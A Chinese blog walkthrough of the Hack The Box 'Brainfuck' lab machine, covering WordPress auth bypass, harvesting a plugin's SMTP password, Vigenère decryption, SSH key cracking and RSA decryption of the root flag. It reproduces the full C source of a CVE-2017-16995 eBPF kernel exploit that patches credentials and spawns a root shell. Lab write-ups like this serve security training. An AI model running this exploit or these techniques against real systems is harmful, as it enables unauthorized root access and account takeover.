HTB-Brainfuck

已于 2023-05-04 15:52:46 修改
阅读量831 收藏
点赞数
分类专栏： HTB 文章标签： 其他
于 2023-05-04 15:44:57 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_37370714/article/details/130464804
版权

HTB-Brainfuck

请添加图片描述

信息收集

在这里插入图片描述

在这里插入图片描述

443端口

在这里插入图片描述
查看对应证书。
在这里插入图片描述
从证书中能获得

  • Email Address： orestis@brainfuck.htb
  • Common Name：brainfuck.htb
  • DNS name： sup3rs3cr3t.brainfuck.htb
  • DNS name：www.brainfuck.htb
    除了Email Address以外都添加至/etc/hosts，分别访问它们并收集信息。

https://sup3rs3cr3t.brainfuck.htb/

在这里插入图片描述
在这里插入图片描述
网站拥有两个业务，登录和注册。在登陆的时候输入错误的账号密码会出现一个DEBUG。
在这里插入图片描述
在这里插入图片描述
注册账号时候密码小于8位也会出现此DEBUG提示。注册账号后登录可以看到能够修改头像。但是头像格式有如下限制： jpeg, png, bmp, gif。
在这里插入图片描述
尝试了几个上传绕过均无果后，先放在这备用。基本上此网站内容就已经探索完毕了。

https://brainfuck.htb/和www.brainfuck.htb

在这里插入图片描述

在这里插入图片描述
此网站业务大致有这么几个：登录、两个RSS、categories、能在dev update下留评论。一个一个看吧。
在这里插入图片描述
额，还在等待审核。
在这里插入图片描述

只有wp的登陆业务。

可以通过登陆来判断那些用户存在。
在这里插入图片描述
OK，这个网站也大致探索完毕了，该准备打副本了，在此之前需要细致查看对方信息。使用wpscan对其插件、用户等进行扫描。如果没有api，科学上网注册一个用户。

在这里插入图片描述
然后在个人的profile能看到免费的api。
在这里插入图片描述
在这里插入图片描述
疑似存在漏洞的地方有点多，慢慢试。

在这里插入图片描述

sql注入似乎不存在。

在这里插入图片描述

在这里插入图片描述

https://packetstormsecurity.com/files/140413/

在这里插入图片描述
根据目录扫描结果修改action的地址。
在这里插入图片描述
发送后页面有一个0。

在这里插入图片描述
然后切换到https://brainfuck.htb/界面就能看到以admin身份登录了。

在这里插入图片描述
想去theme反弹shell，结果遇到没有修改文件的权限。
在这里插入图片描述

接着去看plugin能不能反弹，但是连添加plugin的网页都没了。有可能是环境故意设计，也可能是其他玩家失误导致。再看看有没有其他路径，没有就只能重置了。
在这里插入图片描述
在插件页有一个Easy WP SMTP插件，点开setting会看到有STMP Password。

在这里插入图片描述
获得了orestis和SMTP的授权码kHGuERB29DNiNE。在网上随便收了一下linux的邮件管理软件。随意选了一个thunderbird。
在这里插入图片描述
点击电子邮箱，输入如下信息。
在这里插入图片描述
确定后输入kHGuERB29DNiNE。
在这里插入图片描述
然后就能看到邮件了。
在这里插入图片描述
第二封邮件告诉我们了一些东西。
在这里插入图片描述
使用所给的凭证orestis：kIEnnfEKJ#9UmdO登录 Super Secret Forum。

在这里插入图片描述
额，管理员禁止了keys登录，orestis被锁在外面了。然后就是他和管理员的甜言蜜语。
在这里插入图片描述
最后orestis说开了一个加密的进程，他和管理员会在加密进程中给他ssh证书。
在这里插入图片描述
下一步不出意外就是想办法破解这个加密。观察到如下几个特征：

  • 许多句子个数都是36。
    在这里插入图片描述
  • 还有很多句号，可能是用来填充个数。

但是我实在想不起来什么密码具有此类特征，对我而言确实是brainfuck了。
在这里插入图片描述
话说这是什么：Orestis - Hacking for fun and profit。有没有一种可能orestis每次都会回答问题后留下的第二行就是加密后的Orestis - Hacking for fun and profit，可能Orestis - Hacking for fun and profit就是某个加密的key。瞎弄的时候发现了一个有趣的东西，这密码可能是维吉尼亚密码。
在这里插入图片描述

在这里插入图片描述
啊，头好痒要长脑子了。先说说我的想法，既然Orestis - Hacking for fun and profit不是其他文本的解密key，而通过Orestis - Hacking for fun and profit解密出来的brainfuckmybrainfuckmybrainfu可能有某一个顺序是key。

先通过python列出可能的key。

key = "brainfuckmybrainfuckmybrainfu"
flag1 = 0
for i in range(len(key)):
	tmp = key[i:] + key[:i]
	if tmp == key:
		flag1 += 1
	print(tmp)
	if flag1 == 2:
		break

在这里插入图片描述

以CTF在线工具为例子http://www.hiencode.com/，找到里面的维吉尼亚密码抓包
在这里插入图片描述
将key弄进去。
在这里插入图片描述
接着在options里找到grep。
在这里插入图片描述

在这里插入图片描述
然后就run在key：fuckmybrainfuckmybrainfubrain的时候会看到人类可阅读的文本，但是只有一部分。
在这里插入图片描述
继续寻找发现后半部分key，严格意义上是后面部分的key，后面五个是对的对应ckmyb。
在这里插入图片描述
也就是说真正的key是FUCKMYBRAINFUCKMYBRAINFUCKMYB。
在这里插入图片描述
但是到了最长的一句就又出现问题了。
在这里插入图片描述
这说明原本的密钥FUCKMYBRAINFUCKMYBRAINFUCKMYB后面还有。修改burp suite的intruder的请求后，继续寻找。
在这里插入图片描述
好的找到了是fuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainfub，但是后面又乱了，说明还有，继续找。

在这里插入图片描述
查找发现在57-1=56列开始出问题。在这里插入图片描述
而我们的fuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainfub有58列，所以payload改为fuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainf。

在这里插入图片描述
key=fuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainfubrainf时是我们能阅读的，但是似乎不全，少了东西，但是你仔细看There you go you stupid fuck, I hope you remember your key password because I dont就知道没问题了。
在这里插入图片描述
好了去看看我们的大boss：mnvze://zsrivszwm.rfz/8cr5ai10r915218697i1w658enqc0cs8/ozrxnkc/ub_sja有多长。
在这里插入图片描述
我们的神话装备：fuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainfuckmybrainfubrainf有多长。
在这里插入图片描述
战斗力远远超过boss，轻松拿下。
在这里插入图片描述
得到超链接：https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa希望不要出幺蛾子。访问后得到orestis的id_rsa。
在这里插入图片描述

使用orestis：kIEnnfEKJ#9UmdO不行。
在这里插入图片描述
彳亍，用ssh2john处理id_rsa后使用john尝试破解。
在这里插入图片描述
在这里插入图片描述

立足

通过破解的密码3poulakia!登录orestis。
在这里插入图片描述

读取root.txt内容

在这里插入图片描述
在这里插入图片描述
尝试后暂时没有收获，继续收集信息。因为有另外一位玩家在和我同时游玩，可能看起来很混乱。
在这里插入图片描述
可能这个output是其他玩家留下的，也可能是环境就有的了，内容是一串数字。现在的事情就是找找这个东西是哪里来的。目录下还有一个debug.txt可能也和那个有关。
在这里插入图片描述
目录下还有一个.sage。
在这里插入图片描述

有如下文件：

  • ./cache/_usr_lib_sagemath_src-lazy_import_cache.pickle
  • ./ipython-5.0.0/profile_default/history.sqlite
  • ./ipython-5.0.0/profile_default/startup/README
  • ./R/Makevars.user

./cache/_usr_lib_sagemath_src-lazy_import_cache.pickle是python的pickle模块对小数据存储的一种方法，把小数据量存储在pickle文件中。

./ipython-5.0.0/profile_default/history.sqlite文件里面装着很有趣的东西，一堆python代码。
在这里插入图片描述
一个是password = open("/root/root.txt").read().strip()

nbits = 1024

password = open("/root/root.txt").read().strip() #读取root.txt的字节并将空格去掉。
enc_pass = open("output.txt","w")				 #打开一个output.txt文件，可以写入。
debug = open("debug.txt","w")					 #打开一个debug.txt文件，可以写入。
m = Integer(int(password.encode('hex'),16))		 #将root.txt的内容转化为十六进制
												 #又将转化后的的十六进制转整数并给m

#然后就是RSA算法。
p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
    e = ZZ.random_element(phi)



c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
#他把RSA的精华P Q E都写在debug里面了，帮大忙了。
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')

根据代码所示获得RSA中的四个参数：

  • p:7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
  • q:7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
  • e:30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
  • c:44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182
import gmpy2

p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
c = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

L = (p-1)*(q-1)
d = gmpy2.invert(e,L)
n = p*q
m = gmpy2.powmod(c,d,n)
flag = str(m)
tmp =hex(int(flag))
tmp = tmp[2:]
flag = bytes.fromhex(tmp)
print(flag.decode('utf-8'))

在这里插入图片描述

当然希望能够获得root的权限。

oresits -> root

因为此靶场年代悠久，可能存在很多内核漏洞可以提权。通过CVE-2017-16995.可以实现本地提权。
在这里插入图片描述
在这里插入图片描述

附上代码及其github链接：

#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <sys/personality.h>

char buffer[64];
int sockets[2];
int mapfd, progfd;
int doredact = 0;

#define LOG_BUF_SIZE 65536
#define PHYS_OFFSET 0xffff880000000000
char bpf_log_buf[LOG_BUF_SIZE];

static __u64 ptr_to_u64(void *ptr)
{
	return (__u64) (unsigned long) ptr;
}

int bpf_prog_load(enum bpf_prog_type prog_type,
		  const struct bpf_insn *insns, int prog_len,
		  const char *license, int kern_version)
{
	union bpf_attr attr = {
		.prog_type = prog_type,
		.insns = ptr_to_u64((void *) insns),
		.insn_cnt = prog_len / sizeof(struct bpf_insn),
		.license = ptr_to_u64((void *) license),
		.log_buf = ptr_to_u64(bpf_log_buf),
		.log_size = LOG_BUF_SIZE,
		.log_level = 1,
	};

	attr.kern_version = kern_version;

	bpf_log_buf[0] = 0;

	return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}

int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
		   int max_entries, int map_flags)
{
	union bpf_attr attr = {
		.map_type = map_type,
		.key_size = key_size,
		.value_size = value_size,
		.max_entries = max_entries
	};

	return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}

int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags)
{
	union bpf_attr attr = {
		.map_fd = fd,
		.key = ptr_to_u64(key),
		.value = ptr_to_u64(value),
		.flags = flags,
	};

	return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

int bpf_lookup_elem(int fd, void *key, void *value)
{
	union bpf_attr attr = {
		.map_fd = fd,
		.key = ptr_to_u64(key),
		.value = ptr_to_u64(value),
	};

	return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}

#define BPF_ALU64_IMM(OP, DST, IMM)				\
	((struct bpf_insn) {					\
		.code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,	\
		.dst_reg = DST,					\
		.src_reg = 0,					\
		.off   = 0,					\
		.imm   = IMM })

#define BPF_MOV64_REG(DST, SRC)					\
	((struct bpf_insn) {					\
		.code  = BPF_ALU64 | BPF_MOV | BPF_X,		\
		.dst_reg = DST,					\
		.src_reg = SRC,					\
		.off   = 0,					\
		.imm   = 0 })

#define BPF_MOV32_REG(DST, SRC)					\
	((struct bpf_insn) {					\
		.code  = BPF_ALU | BPF_MOV | BPF_X,		\
		.dst_reg = DST,					\
		.src_reg = SRC,					\
		.off   = 0,					\
		.imm   = 0 })

#define BPF_MOV64_IMM(DST, IMM)					\
	((struct bpf_insn) {					\
		.code  = BPF_ALU64 | BPF_MOV | BPF_K,		\
		.dst_reg = DST,					\
		.src_reg = 0,					\
		.off   = 0,					\
		.imm   = IMM })

#define BPF_MOV32_IMM(DST, IMM)					\
	((struct bpf_insn) {					\
		.code  = BPF_ALU | BPF_MOV | BPF_K,		\
		.dst_reg = DST,					\
		.src_reg = 0,					\
		.off   = 0,					\
		.imm   = IMM })

#define BPF_LD_IMM64(DST, IMM)					\
	BPF_LD_IMM64_RAW(DST, 0, IMM)

#define BPF_LD_IMM64_RAW(DST, SRC, IMM)				\
	((struct bpf_insn) {					\
		.code  = BPF_LD | BPF_DW | BPF_IMM,		\
		.dst_reg = DST,					\
		.src_reg = SRC,					\
		.off   = 0,					\
		.imm   = (__u32) (IMM) }),			\
	((struct bpf_insn) {					\
		.code  = 0, 					\
		.dst_reg = 0,					\
		.src_reg = 0,					\
		.off   = 0,					\
		.imm   = ((__u64) (IMM)) >> 32 })

#ifndef BPF_PSEUDO_MAP_FD
# define BPF_PSEUDO_MAP_FD	1
#endif

#define BPF_LD_MAP_FD(DST, MAP_FD)				\
	BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)

#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)			\
	((struct bpf_insn) {					\
		.code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,	\
		.dst_reg = DST,					\
		.src_reg = SRC,					\
		.off   = OFF,					\
		.imm   = 0 })

#define BPF_STX_MEM(SIZE, DST, SRC, OFF)			\
	((struct bpf_insn) {					\
		.code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,	\
		.dst_reg = DST,					\
		.src_reg = SRC,					\
		.off   = OFF,					\
		.imm   = 0 })

#define BPF_ST_MEM(SIZE, DST, OFF, IMM)				\
	((struct bpf_insn) {					\
		.code  = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM,	\
		.dst_reg = DST,					\
		.src_reg = 0,					\
		.off   = OFF,					\
		.imm   = IMM })

#define BPF_JMP_IMM(OP, DST, IMM, OFF)				\
	((struct bpf_insn) {					\
		.code  = BPF_JMP | BPF_OP(OP) | BPF_K,		\
		.dst_reg = DST,					\
		.src_reg = 0,					\
		.off   = OFF,					\
		.imm   = IMM })

#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM)			\
	((struct bpf_insn) {					\
		.code  = CODE,					\
		.dst_reg = DST,					\
		.src_reg = SRC,					\
		.off   = OFF,					\
		.imm   = IMM })

#define BPF_EXIT_INSN()						\
	((struct bpf_insn) {					\
		.code  = BPF_JMP | BPF_EXIT,			\
		.dst_reg = 0,					\
		.src_reg = 0,					\
		.off   = 0,					\
		.imm   = 0 })

#define BPF_DISABLE_VERIFIER()                                                       \
	BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF),             /* r2 = (u32)0xFFFFFFFF   */   \
	BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2),   /* if (r2 == -1) {        */   \
	BPF_MOV64_IMM(BPF_REG_0, 0),                      /*   exit(0);             */   \
	BPF_EXIT_INSN()                                   /* }                      */   \

#define BPF_MAP_GET(idx, dst)                                                        \
	BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),              /* r1 = r9                */   \
	BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),             /* r2 = fp                */   \
	BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),            /* r2 = fp - 4            */   \
	BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx),           /* *(u32 *)(fp - 4) = idx */   \
	BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),             \
	BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),            /* if (r0 == 0)           */   \
	BPF_EXIT_INSN(),                                  /*   exit(0);             */   \
	BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0)          /* r_dst = *(u64 *)(r0)   */              

static int load_prog() {
	struct bpf_insn prog[] = {
		BPF_DISABLE_VERIFIER(),

		BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16),   /* *(fp - 16) = r1       */

		BPF_LD_MAP_FD(BPF_REG_9, mapfd),

		BPF_MAP_GET(0, BPF_REG_6),                         /* r6 = op               */
		BPF_MAP_GET(1, BPF_REG_7),                         /* r7 = address          */
		BPF_MAP_GET(2, BPF_REG_8),                         /* r8 = value            */

		/* store map slot address in r2 */
		BPF_MOV64_REG(BPF_REG_2, BPF_REG_0),               /* r2 = r0               */
		BPF_MOV64_IMM(BPF_REG_0, 0),                       /* r0 = 0  for exit(0)   */

		BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2),             /* if (op == 0)          */
		/* get fp */
		BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
		BPF_EXIT_INSN(),

		BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3),             /* else if (op == 1)     */
		/* get skbuff */
		BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16),
		BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
		BPF_EXIT_INSN(),

		BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3),             /* else if (op == 2)     */
		/* read */
		BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
		BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
		BPF_EXIT_INSN(),
		/* else                  */
		/* write */
		BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), 
		BPF_EXIT_INSN(),

	};
	return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
}

void info(const char *fmt, ...) {
	va_list args;
	va_start(args, fmt);
	fprintf(stdout, "[.] ");
	vfprintf(stdout, fmt, args);
	va_end(args);
}

void msg(const char *fmt, ...) {
	va_list args;
	va_start(args, fmt);
	fprintf(stdout, "[*] ");
	vfprintf(stdout, fmt, args);
	va_end(args);
}

void redact(const char *fmt, ...) {
	va_list args;
	va_start(args, fmt);
	if(doredact) {
		fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n");
		return;
	}
	fprintf(stdout, "[*] ");
	vfprintf(stdout, fmt, args);
	va_end(args);
}

void fail(const char *fmt, ...) {
	va_list args;
	va_start(args, fmt);
	fprintf(stdout, "[!] ");
	vfprintf(stdout, fmt, args);
	va_end(args);
	exit(1);
}

void 
initialize() {
	info("\n");
	info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n");
	info("\n");
	info("  ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n");
	info("\n");

	redact("creating bpf map\n");
	mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);
	if (mapfd < 0) {
		fail("failed to create bpf map: '%s'\n", strerror(errno));
	}

	redact("sneaking evil bpf past the verifier\n");
	progfd = load_prog();
	if (progfd < 0) {
		if (errno == EACCES) {
			msg("log:\n%s", bpf_log_buf);
		}
		fail("failed to load prog '%s'\n", strerror(errno));
	}

	redact("creating socketpair()\n");
	if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
		fail("failed to create socket pair '%s'\n", strerror(errno));
	}

	redact("attaching bpf backdoor to socket\n");
	if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) {
		fail("setsockopt '%s'\n", strerror(errno));
	}
}

static void writemsg() {
	ssize_t n = write(sockets[0], buffer, sizeof(buffer));
	if (n < 0) {
		perror("write");
		return;
	}
	if (n != sizeof(buffer)) {
		fprintf(stderr, "short write: %zd\n", n);
	}
}

static void 
update_elem(int key, unsigned long value) {
	if (bpf_update_elem(mapfd, &key, &value, 0)) {
		fail("bpf_update_elem failed '%s'\n", strerror(errno));
	}
}

static unsigned long 
get_value(int key) {
	unsigned long value;
	if (bpf_lookup_elem(mapfd, &key, &value)) {
		fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
	}
	return value;
}

static unsigned long
sendcmd(unsigned long op, unsigned long addr, unsigned long value) {
	update_elem(0, op);
	update_elem(1, addr);
	update_elem(2, value);
	writemsg();
	return get_value(2);
}

unsigned long
get_skbuff() {
	return sendcmd(1, 0, 0);
}

unsigned long
get_fp() {
	return sendcmd(0, 0, 0);
}

unsigned long
read64(unsigned long addr) {
	return sendcmd(2, addr, 0);
}

void
write64(unsigned long addr, unsigned long val) {
	(void)sendcmd(3, addr, val);
}

static unsigned long find_cred() {
	uid_t uid = getuid();
	unsigned long skbuff = get_skbuff();
	/*
	 * struct sk_buff {
	 *     [...24 byte offset...]
	 *     struct sock     *sk;
	 * };
	 *
	 */

	unsigned long sock_addr = read64(skbuff + 24);
	msg("skbuff => %llx\n", skbuff);
	msg("Leaking sock struct from %llx\n", sock_addr);	
	if(sock_addr < PHYS_OFFSET){
		fail("Failed to find Sock address from sk_buff.\n");
	}	
		
	/*
	 * scan forward for expected sk_rcvtimeo value.
	 *
	 * struct sock {
	 *    [...]
	 *    const struct cred      *sk_peer_cred; 
	 *    long                    sk_rcvtimeo;             
	 *  };
	 */
	for (int i = 0; i < 100; i++, sock_addr += 8) {
		if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) {
			unsigned long cred_struct = read64(sock_addr - 8);
			if(cred_struct < PHYS_OFFSET) {
				continue;
			}
			
			unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);
			
			if(test_uid != uid) {
				continue;
			}
                        msg("Sock->sk_rcvtimeo at offset %d\n", i * 8);
                        msg("Cred structure at %llx\n", cred_struct);
			msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid);
			
			return cred_struct;
		}
	}
	fail("failed to find sk_rcvtimeo.\n");
}

static void
hammer_cred(unsigned long addr) {
	msg("hammering cred structure at %llx\n", addr);
#define w64(w) { write64(addr, (w)); addr += 8; }
	unsigned long val = read64(addr) & 0xFFFFFFFFUL;
	w64(val); 
	w64(0); w64(0); w64(0); w64(0);
	w64(0xFFFFFFFFFFFFFFFF); 
	w64(0xFFFFFFFFFFFFFFFF); 
	w64(0xFFFFFFFFFFFFFFFF); 
#undef w64
}

int
main(int argc, char **argv) {
	initialize();
	hammer_cred(find_cred());
	msg("credentials patched, launching shell...\n");
	if(execl("/bin/sh", "/bin/sh", NULL)) {
		fail("exec %s\n", strerror(errno));
	}
}
该账号已被注消
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
oscp——htb——Brainfuck（环境问题，未完待续）
王嘟嘟的博客
06-29 566
0x00 前言 0x01 信息收集 root@kali:~# nmap 10.10.10.17 Starting Nmap 7.70 ( https://nmap.org ) at 2020-06-29 01:06 EDT Nmap scan report for brainfuck.htb (10.10.10.17) Host is up (0.29s latency). Not shown: 995 filtered ports PORT STATE SERVICE 22/tcp open
HTB打靶日记：Brainfuck
m0_73998094的博客
12-25 817
HTB打靶日记：Brainfuck
htb-linux-2-brainfuck-wpscan-pop3-ssh2john
最新发布
admin741admin的博客
06-09 458
SMTP 的全称是“Simple Mail Transfer Protocol”，即简单邮件传输协议。它是一组用于从源地址到目的地址传输邮件的规范，通过它来控制邮件的中转方式。SMTP 协议属于 TCP/IP 协议簇，它帮助每台计算机在发送或中转信件时找到下一个目的地。什么是POP3，POP 即为 Post Office Protocol 的简称，是一种电子邮局传输协议，而 POP3 是它的第三个版本，是规定了怎样将个人计算机连接到 Internet 的邮件服务器和下载电子邮件的电子协议。
POP3和SMTP
weixin_34380948的博客
12-10 781
什么是POP3 POP 即为 Post Office Protocol 的简称，是一种电子邮局传输协议，而 POP3 是它的第三个版本，是规定了怎样将个人计算机连接到 Internet 的邮件服务器和下载电子邮件的电子协议。它是 Internet 电子邮件的第一个离线协议标准。简单点说，POP3 就是一个简单而实用的邮件信息传输协议。 什么是 SMTP? S...
【Hack The Box】linux练习-- Brainfuck
人间体佐菲的博客
11-08 942
【Hack The Box】linux练习-- Brainfuck
No.99-HackTheBox-Linux-Brainfuck-Walkthrough渗透学习
qq_34801745的博客
05-15 793
** HackTheBox-Linux-Brainfuck-Walkthrough ** 靶机地址：https://www.hackthebox.eu/home/machines/profile/17 靶机难度：初级（3.5/10） 靶机发布日期：2017年10月17日 靶机描述： Brainfuck, while not having any one step that is too difficult, requires many different steps and exploits to comp
HackTheBox - Brainfuck Write Up
ak.Gh0st的博客
04-12 524
HackTheBox - Brainfuck Write Up
qos-htb-开源
05-03
qos-htb是您一直在等待的简单带宽管理解决方案，graphix制作了图表，您可以在一秒钟之内查看到底谁在消耗带宽！
htb-beep
m0_55772907的博客
09-15 947
一般
RC4加解密.rar
04-05
RC4加解密.rar
xml-HTB-开源
05-02
xml-HTB是用于自动生成bash脚本的工具，该工具可在Linux上设置HTB。 它使用xml配置文件。 它易于使用，具有许多功能：多种深度的类，可配置的叶子，u32和fw过滤器，可同时配置两个输入
HTB-Recon:Hackthebox计算机的自动侦查脚本（hackthebox.eu）
03-09
例如： ./htb-recon.sh 10.10.10.10. ServMon Windows ./htb-recon.sh 10.10.10.10. ServMon Windows 然后通过tmux a -t htb_recon附加会话 它能做什么 在您的主目录中创建一个工作区。 创建不同的文件夹以使事情...
HTB-Gen:脚本para gerar邀请de HackTheBox
03-29
HTB-Gen 脚本para gerar邀请de HackTheBox Windows / Linux Qualquer pessoa pode usar o script para fins lucrativos，para usar apenas tens abrir o teu Terminal / CMD dentro do diretorio do script depois...
htb靶场，ping不通目标机器
山兔的博客
10-21 500
那是因为你开了htb的两个vpn，关掉不是连接靶场的那个vpn就可以了。
QT属性动画--设置样式属性(其他属性)
lizequan的博客
03-02 6036
这里写自定义目录标题故事背景遇到的问题解决过程最终方法感悟 故事背景   最近在制作一个按钮切换的动画特效中接触了属性动画这部分内容，并由此产生了一些思考。 遇到的问题 解决过程 最终方法 感悟 ...
Volatile的其他特性
我想月薪过万的博客
03-03 4421
2.1 volatile总体概览 在上一节中，我们已经研究完了volatile可以实现并发下共享变量的可见性，volatile除了保证可见性外，volatile还具备如下一些突出的特性： volatile的原子性问题：volatile不能保证原子性操作 禁止指令重排序：volatile可以防止指令重排序操作 2.2 volatile不保证原子性 2.3 代码测试 package Ls; /** * 目标：研究Volatile的原子性操作 * <p> * 基本观点：V.
【安卓基础】Android直接通过路径来操作其他应用的私有目录，可以吗？
m0_48179608的博客
03-02 7778
在上篇文章[【安卓基础】一文搞懂Android历代版本文件访问权限变化](https://blog.csdn.net/m0_48179608/article/details/122838494)我们对同一个应用的的文件访问权限做了比较。 那么不同应用之间文件访问又有什么限制呢？我们准备分二到三篇文件来阐述。 这篇文章，主要来看下不同系统版本下，我们直接通过路径来访问其它应用的**内部存储、外部存储私有目录**，看看能不能访问以及不同系统版本的区别。
format htb
08-24
HTB is an abbreviation for Hack The Box, which is an online platform that provides hands-on penetration testing and hacking challenges. It allows users to simulate real-world cybersecurity scenarios and practice their skills in a safe and controlled environment. The format of HTB typically involves a series of machines or challenges that users need to exploit to gain root access or find flags. Participants can use various tools and techniques to solve the challenges and improve their knowledge of cybersecurity.
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值